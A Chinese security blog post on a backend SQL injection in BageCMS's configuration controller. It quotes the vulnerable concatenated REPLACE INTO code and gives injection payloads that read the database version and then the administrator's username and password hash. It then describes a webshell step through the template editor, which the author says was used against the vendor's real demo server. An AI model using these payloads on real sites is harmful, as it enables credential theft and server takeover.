bagecms「SQL注入」官网为例

这篇日志发布时间已经超过一年,许多内容可能已经失效,请读者酌情参考。

不是我杠上了shuguang,而是漏洞就在那里。

非常蛋疼,乌云那边说后台注入不通过-,-

好吧,我不该发成漏洞,而应该发成入侵事件,因为我已经拿到服务器权限了。找这个注入其实也不是为了找bagecms的漏洞,而是为了黑掉www.bagecms.com这个服务器。

因为对于曙光的服务器来说危害确实挺大的,先联系到他,他确认修复了我再公开,乌云那边,就那样吧。

==========

update:2014.10.13

看到曙光发了补丁包,具体内容没看,应该是修复了,这边我就直接公开了。


这次是SQL注入漏洞。

本来bagecms是基于Yii1去写的,如果Yii编码规范去写的话,是不会出现SQL注入的,因为都是采用参数绑定方式进行SQL操作。

但是,偏偏有地方就是自己在拼SQL语句,呵呵呵呵呵。

0x01 漏洞分析

这是后台SQL注入,确实比较鸡肋,但是利用场景呢,刚好就是官网demo!

demo.bagecms.com,官网demo给出的是一个低权限帐号,基本只有查看权限,没有什么实际修改权限。但是这个权限刚刚好,可以用来进行注入。

注入点位置是在网站配置部分。

 #admini ConfigController
    /**
     * 更新数据
     *
     */
    private function _updateData ($data, $scope = 'base')
    {
        if (XUtils::method() == 'POST') {
            foreach ((array) $data as $key => $row) {
                $row = XUtils::addslashes($row);
                $connection = Yii::app()->db->createCommand("REPLACE INTO {{config}}(`scope`, `variable`, `value`) VALUES('$scope','$key', '$row') ")->execute();
            }
            XXcache::refresh('_config', 3600);
            parent::_adminiLogger(array ('catalog' => 'update' , 'intro' => '更新系统配置,模块:' . $this->action->id )); 
            XUtils::message('success', '更新完成', $this->createUrl($this->action->id));
        }
    
    }

所有的配置选项,都是采用这种方式,使用REPLACE INTO的方式来insert/update的。这里没有使用Yii提供的参数绑定功能,而是使用可控参数拼接字符串,,$scope、$key、$row这三个参数都没经过处理直接带入SQL执行,于是便形成了一个update(replace)型的SQL注入。

以官方demo开放的功能为例,在后台的自定义设置中,插入注入语句。

#admini ConfigController
    /**
     * 自定义字段
     */
    public function actionCustom ()
    {
        parent::_acl(); 
       
        if (XUtils::method() == 'POST') {
            foreach ((array) $_POST['attr'] as $key => $row) {

                $val = is_array( $row['val'] ) ? implode( ',', $row['val'] ) : $row['val'];
                $var = $row["name"];//name和value属性都没有经过处理,直接带入SQL执行。
                $connection = Yii::app()->db->createCommand("REPLACE INTO {{config}}(`scope`, `variable`, `value`) VALUES('custom','$var', '$val') ")->execute();
            }
            XXcache::refresh('_config', 3600);
            parent::_adminiLogger(array ('catalog' => 'update' , 'intro' => '更新系统配置,模块:' . $this->action->id )); 
            XUtils::message('success', '更新完成', $this->createUrl($this->action->id));
        }

        $attrModel = Attr::lists(0, 'config');
        $this->render('custom', array ('attrData' => self::loadData() , 'attrModel' => $attrModel));
    }

使用的SQL语句是

REPLACE INTO {{config}}(`scope`, `variable`, `value`) VALUES('custom','$var', '$val')

其中{{config}}是表名,Yii会自动添加前缀。

可控变量很多,以$var为例,只要构造$var=var',(select @@version))#,即可闭合搜索语句,并注释掉后边的无用语句。

#注入的语句
REPLACE INTO {{config}}(`scope`, `variable`, `value`) VALUES('custom','_mobile',(select @@version))#, '$val')

将对应的var的value保存为@@version的值,提交后查看配置就能看到结果。

0x02 漏洞证明与官网演示

在设置-自定义设置页面中, 将最后一个设置的name修改为payload。

1410675179794667.png

即把value="_mobile"修改为value="_mobile',(select @@version))#"。

1410675180974180.png

保存后即可看到数据库的版本号,即5.5.37。

这只是POC,真正要利用,可以改为

_mobile',(select concat(username,0x7c,password) from {{admin}} limit 1))#

保存后可以查看到管理员的帐号与密码。

bagecms_sqli3.png

之后就是破解md5登录后台,拿shell。

后台拿shell的方法很简单,之前那个xss getshell也是用这种方法。

界面-网站模板-模板编辑,demo站的代码与开放的版本不同,这里在新建文件时候,文件夹名字不能包含../。我们可以修改已有文件,或者直接增加一个文件。

例如我增加的是

http://demo.bagecms.com/themes/default/views/dsf/i.php  

即可拿到shell。

0x03 修复建议

能先确认了吗?

留言交流

没有评论
点击换图